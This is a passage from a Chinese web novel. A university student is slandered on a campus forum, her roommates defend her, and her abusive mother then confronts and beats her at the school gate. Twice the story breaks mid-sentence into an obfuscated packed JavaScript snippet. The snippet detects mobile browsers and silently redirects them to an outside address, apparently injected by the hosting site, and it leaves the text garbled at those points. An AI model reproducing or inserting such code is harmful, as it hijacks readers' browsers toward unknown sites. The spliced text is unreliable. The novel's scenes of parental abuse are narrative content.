“什么澄子?” “你图片里的那个人啊。”陈小雨道,“黄色短袖,鸭子墨镜,不是她还能有谁。” 叶从容大受震惊,将手里的照片看了又看,她发现如果将手机拿远,那女生衣服上被打了一个敷衍的马赛克图案就会大概看出一个轮廓。 就是戴着墨镜的鸭子。 整个学校有这件丑衣服的,不出一人。 就是舒澄。 … 舒澄从图书馆出来,路过的人皆回头打量她。 她拽拽衣摆,又拍拍裤脚,没有不得体的地方。 如果硬说,也只是她身上这件被寝室三人见一次吐槽一次的鸭子短袖。 她觉得奇怪,快步低头走。 “舒澄——”有人在身后叫她的名字。 舒澄停下来,回头。 是苏蓝。 他手里搬着一张课桌,课桌上还叠着一把椅子。 苏蓝的视线在舒澄身上停顿片刻,眼神里闪过一丝明显的惊讶和不敢相信,“你……刚从图书馆回来?” 这话问的也很奇怪,不去图书馆她还能去哪? “嗯。”一路上遇到的人都露出了刚才苏蓝的那种表情,舒澄忍不住问:“我身上是有什么东西吗?怎么你们看我的反应都很奇怪?” 苏蓝视线游离,表情不大自然。 “你还不知道?” “知道什么?” “也没什么。”苏蓝搬着课桌走在舒澄身边,“就是学校里出现了一些关于你的传言……”说到这里,苏蓝低头观察舒澄的反应,见她的确一脸懵,便继续说,“……说你,在校外,认识一些人什么的。” 认识一些人——舒澄第一个想到的就是邵遥遥和段叙。 难道当家教也能成为新闻吗? 她不解。 苏蓝只好继续硬着头皮道,“就是说你在学校外……跟有钱人的关系过于亲密。” “啊?” “要不你还是自己看吧,就在论坛上,第一个帖子。” 苏蓝支支吾吾的态度让舒澄心里充满问号。到底是什么事能让他如此说不出口。 肯定不是什么好事。 舒澄点开论坛,第一眼就看见了位于顶端因浏览量过高整个词条变成紫红色的帖子。 她看到标题,眉头不自觉皱了一下。 点进去,通篇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143863|164614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大论她没读完,只挑重点看。 说她被包-养?也太可笑了。 她在食堂一日三餐基本上控制在10块以内,生活费不含均摊的电费一个月才五百。 要是被包-养过得是这种日子,那她也未免太亏。 舒澄点开照片,差点被气笑。 这哪里是什么金主爸爸的豪车,而是段斐家的车。两张照片对应两次送她返校,第一次白天是段斐去机场那次,黑天那次是宜宁暴雨封路,马叔跟段叙送自己返校。 写这篇帖子的人很会看图说话,如果不是舒澄是当事人,恐怕她自己都要被骗到了。 尤其是第二张,晚上十点四十的字样大大地p在图中样,配上她那天穿的价值不菲的短袖,真有几分能唬住人。 苏蓝在旁边小心开口,“肯定是假的吧?我很相信你。” 关掉手机。 舒澄嗯了声,她看向苏蓝,“你怎么会觉得是假的?” 这话把苏蓝问住了。 他不好讲。 一个女生的家境其实很容易判断,她每星期重复更换的短袖,每学期脚上都是那双球鞋,一日三餐在食堂打饭,素面朝天,没有精致的妆容也没有理发店精心修剪的发型。休息日不会去周边的商圈逛街、吃饭,而是整日泡在图书馆。 朴素这两个字,是苏蓝第一眼见到舒澄的印象。 舒澄看着苏蓝闪烁的目光,笑了笑。 他不说,她也知道。 哪个被包-养的,会过成她这样。 “不过你愿意相信我,还是要对你说一声谢谢。” 苏蓝:“这些人用女生这种事情造谣,未免太可恶。” 他瞧见舒澄除了眉间微蹙,脸上并没有暴怒的情绪,“你不生气吗?” “为什么要生气?”舒澄将匿名发帖人和帖子内容一一截图存证,“又不是真的。” 她只觉得麻烦,还要向教务处提交证据,请求管理员删除这篇帖子。 她现在每天非常忙,课程从早上到晚,还要帮韩育整理国内外的前沿论文,连去图书馆的时间都是硬挤的。 “但,学校里其他人不会这么觉得啊,他们会认为你就是帖子说的那种人。” 苏蓝说的也没错,了解舒澄的人自然清楚她每天过得像苦行僧,但宜大这么多人,舒澄这个人对他们来说就是一个无关紧要的路人,谁有空去追寻里面的真相,都顾着自己八卦的快感。 一路走来,舒澄身上跟帖子里一模一样的短袖吸引了不少人的注意。 她跟苏蓝拉开距离,指了指另一条分岔路,“我从这里回寝室了。” 苏蓝追问:“就这么算了吗?造谣的事情。” “怎么会。”舒澄晃了晃手机,“已经保存证据了,我会跟老师们反应的。至于学校里其他人,过不了几天就会把这件事忘记的,我又何必因为他们一时的八卦自扰呢。” 心理学中有一句话,舒澄很喜欢。 人类总无可避免将自己视为中心,过度在意他人目光。 你还记得小学在升旗仪式上尿裤子的那位同学长什么样子,叫什么名字吗? 初中坐在教室角落话很少的女同学,你还记得她脸上的痣是在左边还是右边? 高中班主任将你叫到讲台前一通数落,底下的人哄堂大笑。但现在问问,谁还记得那节自习课班主任因为什么突然把你叫起来。 无人在意。 这是舒澄学到的重要一课,教会她不要做无意义的内耗,除了影响自己的大脑,促使情绪低落,还有什么好处。 推开寝室门,段斐、叶从容和陈小雨端坐在长桌旁。每个人面前都摆着一台电脑,键盘声噼里啪啦。 叶从容面色凝重,“澄子,帖子我们都看到了。你放心,我们已经在下面帮你控评了,我申请了三个小号。” 陈小雨:“我给你算了一卦,卦象显示这次绝对逢凶化吉遇难成祥。” “去tmd逢凶化吉。”段斐手指在键盘上噼里啪啦疯狂直打,“我已经拜托了计算机系的同学,让他把匿名帖子的IP给我扒出来,他妈的造谣造到我身上看我不弄死她!!” 段斐火冒三丈,隔着几米远舒澄仿佛都看见她头顶升起的烟。 叶从容冲舒澄使眼色,“她骂一下午了,我和小雨已经习惯了。” 舒澄忍俊不禁。 她将背包放在长桌上,对叶从容说,“叶子,你电脑可以借我一下吗?我要给教务处发一封邮件,将事情解释清楚。让老师们删帖。” 叶从容二话没说把电脑推给舒澄,她无意看到舒澄的帆布包一角已经磨损的快要漏了,想到舒澄好像从大一开学就一直在用这一个包,开起来像是什么书店开业酬宾的纪念品。 操。 这样的人也要被造谣。 “好了!”段斐一敲发送键,“发帖子,谁不会啊,老子不光会发帖子,还他妈碰巧很有钱。叶子你认识的那个刷浏览量的那哥们微信……算了你直接帮我转账给他。” 叮—— 下一秒,叶从容对着手机一串零的转账激动尖叫,“五万?斐姐你太飒了吧,随便投个流量就是五万,有钱人呜呜呜呜好有钱啊!!” 五万。 这对舒澄来讲简直是一个天方夜谭的数字,舒澄整个大学四年都不一定能花到五万。 她不想让段斐破费,“我给教务处写一个邮件就好了,把情况说明清楚。还好她拍的是你家的车,你也能帮忙证明,其实不用这么破费的。” “不一样。”段斐盯着电脑屏幕里舒澄被偷拍的那张照片,恶狠狠道,“你那个邮件发过去,帖子是能删,但肯定会有人说是学校想压丑闻才删的。毕竟宜大的论坛向来主张言论自由,轻易不会删东西管学生发了什么。面对无耻之人,咱们就要比她更无耻更流氓。” 段斐拍了下舒澄的肩膀,“我也不光是为了你,有傻逼把图片亮度调高说驾驶位的马叔就是包-养你的人,马叔在我家兢兢业业干了十多年,也算看着我和段叙长大的,他们还嘲笑马叔地中海,我咽不下这口气。” 将段斐和马叔连累,舒澄心里很过意不去,“不好意思,段斐。把你跟马叔也牵扯进来了。” “不怪你。” “怪我家车太豪。” “……” 叶从容:“谁把这炫富的家伙拖出去打一顿。” 21. 弟弟 宜大论坛迎来两极反转。 段斐豪气投流的五万块钱非常有效,仅过了不到半个小时,她那篇阴阳怪气的帖子就被顶到了第一位,将匿名举报帖压在后方。 词条更是金灿灿,不时向下抖落金元宝。 这是负责投流的人对段斐豪气撒金的答谢,这种大客户,十几年也碰不到一个。 大家好啊,我是段斐。 心理系的段斐。 我室友小姑娘老老实实的人好,不想计较。但我不行,我气得要死,不发帖子回应一两句估计后半辈子都要失眠。 来来来让我回应一下那篇道貌岸然抨击我室友的帖子(另外说一句你那个马赛克打的真心机,明眼人都看出来你恨不得所有人都认出来图片里的女生是谁,手段太低端。) 图里的车呢,不是什么地中海秃老头的,那是我家的车。我家的车能明白什么意思吗?送我室友回家的是我,那些调亮度的别光盯着驾驶位啊,谁家开着几百万的迈巴赫的有钱人还自己开车?有没有可能那是司机? 还有,说人家衣服七八千一件的,你别光盯着那一件啊。第一张那个丑不啦叽的鸭子短袖你是一点不看,淘宝十五块包邮的价格你是硬装没看见啊。 另外说一句,她身上这那白色短袖也是我送的,别问原因,问就是乐意。 发帖人你发之前自己都不校验一下吗?瞎话张口就来。 知不知道这种谣言对于女生来说有多伤?你自己上蹿下跳像个宜大警察。 你是真的惹到我了,不管你马甲多厚,我都一定要把你拽出来,让你当着全校师生的面跟我室友道歉。 我看你是闲出屁了。 有能耐这篇帖子你就找人删掉。不然,不巧,我刚好有点钱,给这帖子买了个月卡,这一个月我这篇帖子都会挂在论坛第一位。 哦,还有一种方式,就是你用更多的钱,把我的帖子顶下来。 帖子从头到尾读完,舒澄陷入沉默。 她表情欲言又止,极为忍耐着什么。 段斐:“咋了?” 舒澄看了看段斐,吸气,又看了看她,“我那个短袖,淘宝真的十五一件还包邮?” “……” “……” “……” 舒澄没开玩笑,她真的非常不可接受。这件短袖是她五十块三件买的,还跟老板讲了好一会儿价,讲到最后老板眼泪都快下来了,说小姑娘啊我真不赚钱了,你太会砍价了。 老板,你太会演了。 段斐合上电脑,“玩儿去吧。” … 段斐这篇攻击性十足的帖子很有效果,一整晚宜大论坛都在讨论关于包-养帖和反转贴的事情。 论坛上多了不少讽刺匿名发帖人的贴子。 骂她看图编故事,还在评论区引导大家调亮照片,对地中海司机进行外貌网爆。 一篇名为:冷知识|坐在迈巴赫驾驶位的不是金主爸爸,而是司机!的帖子热度也不小,段斐看到帖子里骂人不吐脏字,一高兴给这篇帖子丢了几千块的流量。 事情顺利解决。 那篇匿名举报帖就像投入湖里的一颗沙,还没等激起涟漪,就被风吹走了。像个笑话一样。 夜晚,舒澄躺在床上。 天花板还是那个天花板,跟刚开学时并无区别,不同的是她此时心境。 她没想到能解决的这么快,这么顺利。 一年前,她躺在这里,想着大学四年要跟室友保持友好距离,互不干扰,平平稳稳度过大学生活。 一年后,她的室友们替她在校园论坛发声,将一个原本会对她造成轩然大波的影响四两拨千斤解决。 寝室寂静,舒澄知道她们都没睡。 “谢谢大家。” 段斐翻了个身,“矫情。” “真的……谢谢。” 舒澄从小到大都没有朋友,也从没体会过被人维护的感觉。 她发自内心道谢,声音里已经染上颤抖。 “澄子,真想谢吗?”叶从容的声音传来。 没等舒澄认真回应,叶从容从床上刷地弹起,“求求你把衣柜里的丑衣服全都扔了吧!你都拿了两学期的奖学金了,平时又都家教、兼职,就不能换点好看的衣服吗?!” “你知道每次我看你穿那些丑衣服,都像亲眼见到金刚芭比一样割裂。” “……”不愧是叶子。 … 宜宁这个秋天多雨,天阴沉沉一月。 除了军训的新生,没人期待下雨。 每天路面都湿答答的,包里经常带着伞,不一定什么时候走在路上天空就飘起雨滴。 叶从容更讨厌下雨,尤其一想到这届新生根本没军训几天,全在寝室休息,而自己去年那是将20天军训一天没差在大太阳下站过来的。 下课后,教学楼外又飘起雨花。 不大,却磨人。 叶从容抱怨一句,从包里拿出折叠扇,咔哒一声推开,伞骨不知道什么时候断了,本就小巧的伞面直接塌陷了一半。 “靠,伞都坏了。宜宁的雨还不停吗!”叶从容把坏掉的伞收进包里,求助,“斐姐,澄子,谁收留一下我跟小雨。” 陈小雨记性不好,经常不带伞。通常都是跟叶从容合打一把。 段斐是口袋伞,图方便,她一招手,叶从容十分有眼色的跑到她伞下,“我去校门口,只跟你顺一段路,一会儿分开你自求多福吧。” 舒澄则跟陈小雨共打一把。 走到分岔路,段斐离开。 舒澄主动把伞柄递给陈小雨,“你跟叶子打一把吧,我去图书馆,反正很近。” “什么话。”叶从容挤到两人伞下,“你伞这么大,三个人一起打,只要我聪明的脑袋瓜不淋湿就可以。” 陈小雨紧紧搂住舒澄的胳膊,生怕她自己跑远。 没走多远。 系里的同学叫住舒澄,说校门口有人找。 同学本身急着躲雨,转述的口吻也很急。见传达到了便跟自己同伴离开了。 舒澄担心有什么急事,趁着现在雨还不大,让陈小雨和叶从容打伞先行离开,她一会儿到门口保安室再借一把。 她用帆布包挡在头上跑入雨帘。 赶到校门口时,雨已经下大,如织如密。 保安瞧见她一个小姑娘没带伞,把备用雨伞从窗口递给她,“拿着吧。” “舒澄。” 轰隆——天际划过紫电。 雷声震耳,却不比那两个字的重量。 这个声音,舒澄不会忘。永远忘不了。 多少次打骂前,都是这样一声压制了情绪、低沉到极致,冰冷的喊出自己的名字。 导致她对别人压低声音叫自己的名字有一种发自内心的恐惧。 总觉得下一秒就会有扫帚、鸡毛掸子亦或者是皮带抽在自己身上。 她浑身震颤,抬起压低的伞面。 一双棕色皮鞋。 黑色紧身裤。 花纹鲜艳的针织衫。 一把蓝伞。 鲜红的唇。 因生气而扩张的鼻孔。 再往上——那双几乎要将她剥皮抽筋,愤怒要溢出来的眼。 是黄丹。 舒不凡不知怎么也跟过来,此时站在黄丹身边,低眉顺耳,黄丹生气时,他从不敢出声。 刷—— 刚从保安室借到的雨伞被黄丹直接抽走,她塞给舒不凡,“去一边等着。” 舒不凡小心翼翼地抬头看了眼整个人站在雨里的舒澄。 她身上的衣服很快湿透,却对黄丹的行为毫无反应,像是已经习惯了。 他拿着舒澄的伞,听话的走到保安亭前,站定。 冰冷的雨水拍在舒澄脸上,糊得她眼睛要睁不开。 黄丹的眼睛像是捕猎的毒蛇,从舒澄的额尖一点一点、一点一点、一点一点爬到她那副金属眼镜上。 毒蛇吐出信子,她伸手甩了舒澄一个巴掌。 啪——比雨声清脆。 蓝伞从左手换到右手。 啪——比第一声更响。 舒澄偏头,脸颊两侧顿时火热,又热又麻。 几秒钟之后割裂一般的疼痛让她再感受不到脸上的热和麻。 她的眼镜早在第一个巴掌时,就被甩在了地上。 “还他妈学会臭美了?!”黄丹用皮靴的宽跟狠狠踩在眼镜上,就像十几年前,她的鞋跟踩在舒澄身上时那样。 只可惜舒澄的身体是肉做的。 不能像眼镜那么轻易碎掉。 黄丹拽着舒澄的衣领,将她拽了个踉蹴,“头发也长了?还扎辫子了。” 舒澄低着头,一言不发。 这样沉默的态度惹怒黄丹,她揪着舒澄的衣领,没有放手的意思,“是不是就是这件衣服,七八千?” 舒澄抬起抬眸。 原来,这是黄丹今天突然出现在学校的目的。 纯棉的短袖被水淋湿,弹力很大。黄丹动作粗鲁,白色的领口已经接近变形,舒澄里面穿着的贴身衣物在黄丹大幅度的拉扯下乍泄。 有人路过,舒澄下意识抬手去挡。 黄丹将她手扯开,讥讽道:“你还有羞耻心?还怕看?你不是为了这件短袖都爬到人家车里了吗?诶哟内衣也买了新的,还是蕾丝的,是不是那个男的买给你的??我他妈看看你内裤是不是也换了蕾丝!” 她动手就要去拉扯舒澄的裤子。 “没有。”舒澄捂住牛仔裤的锁扣,为自己辩解,脸颊应该肿了,她感觉自己的嘴张开都有些费劲,“没有。” “什么没有?哪个没有?” “没有、爬车。”舒澄的声音断断续续,“衣服是、室友、给的。” “室友?你室友有那么好心这么贵的衣服就给你了?”昨晚,黄丹的手机收到一条彩信,她一开始还以为是垃圾短信,点开看了才知道她这个好女儿,竟然在学校道德败坏,被人拍了照片发在校园网上! 一个小姑娘,穿着名牌衣服,半夜十点从名牌车上下来,能有什么好事? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黄丹将帖子内容看了一遍,正要收回视线。 却突然注意到舒澄手里拿着的手机。 这可不是什么舒不凡掉漆的二手安卓机。 而是年轻人很喜欢的苹果。 一部价值不菲。 黄丹立刻钳住舒澄的手腕,“这个手机你又怎么解释?也是你室友给的?” “是我买的二手机。” “行啊,现在二手机都买苹果了,舒澄,你够有钱的啊,现在过得比我们都好了,你弟现在还没用上苹果6呢。” 黄丹后退一步,仔仔细细打量眼前这位一年没回家的女儿。 头发长了,换眼镜了。 短袖抵得上舒杰一个月工资。 内衣从服装城二十一件批发的大妈款换成白色蕾丝。 就连手机,都换成苹果。 她惊觉舒澄的变化太多了。 眼前的舒澄已经完全不是一年前背着铺盖卷买车票都要跟自己低声下气要钱的那个人了。 这种变化,让她心慌。 让她害怕。 比看到彩信时还要心慌,还要害怕。 雨持续下,让黄丹上头的愤怒逐渐冷静。 舒澄,还不是那种人。 她不敢。 她一个在学校经受三年霸凌都闭口不谈的人,不敢做出这种道德败坏的事。 所以,澄清帖子里写的事情,应该是真的。 她看到舒澄宽大到过分的领口,向下扫过短袖上的图案,“你那个叫段斐的室友,是正经人吗?” 舒澄几乎没听懂,从没有人将这么肮脏的字跟段斐联系在一起,“什么?” “什么什么?两下把你耳朵打聋了?刚才跟我解释的时候不是很会说吗?我问你你那个叫段斐的室友,是不是正经人?她怎么那么有钱?她是不是给别人当小三——我跟你说你在学校——” “妈!”舒澄忍无可忍,她冲黄丹崩溃大喊,“我求你不要说她!” 段斐什么都没做错。 她一直向舒澄施以好意,她一个无忧无虑性格洒脱的女孩,不应该因为自己而遭受这样的非议。 面对舒澄的恼怒,黄丹比她更生气,嗓门压过她,“我为什么不能说?还不是见不得人,她要是见的人为什么怕人说?我看她那些钱还不是不干不净,一个年纪那么小的姑娘,怎么会那么有钱?” “我求你!”舒澄嘶哑着嗓子,“我求你!别说她!有什么你冲着我就好了!” “你他妈真仗义啊,在宜大念一年书忘了是谁生的了是吧?” “没忘。”舒澄看向黄丹,这位给了她二十年刻骨铭心童年的人,她这么会轻易忘掉。 “你这是什么眼神?”黄丹抬手就想冲舒澄脸上打一巴掌,临落手,她看到舒澄那双眼睛,如此空洞,没有任何情绪,没有恐惧、没有悔恨、甚至没有愤怒。 像是看一个无关紧要的人。 又像是看一个很紧要的人,想要用整只眼睛记住自己的样子,没有其他情绪,只是记住。 这种眼神,黄丹不喜欢。 她还是喜欢,舒澄眼里露出的恐惧和悲伤,祈求自己不要再打了。 这样,她生的女儿才在她掌控之中。 黄丹扬起的手攥了又攥,红唇如毒蛇拧开缝隙,露出獠牙。 “你退学吧。”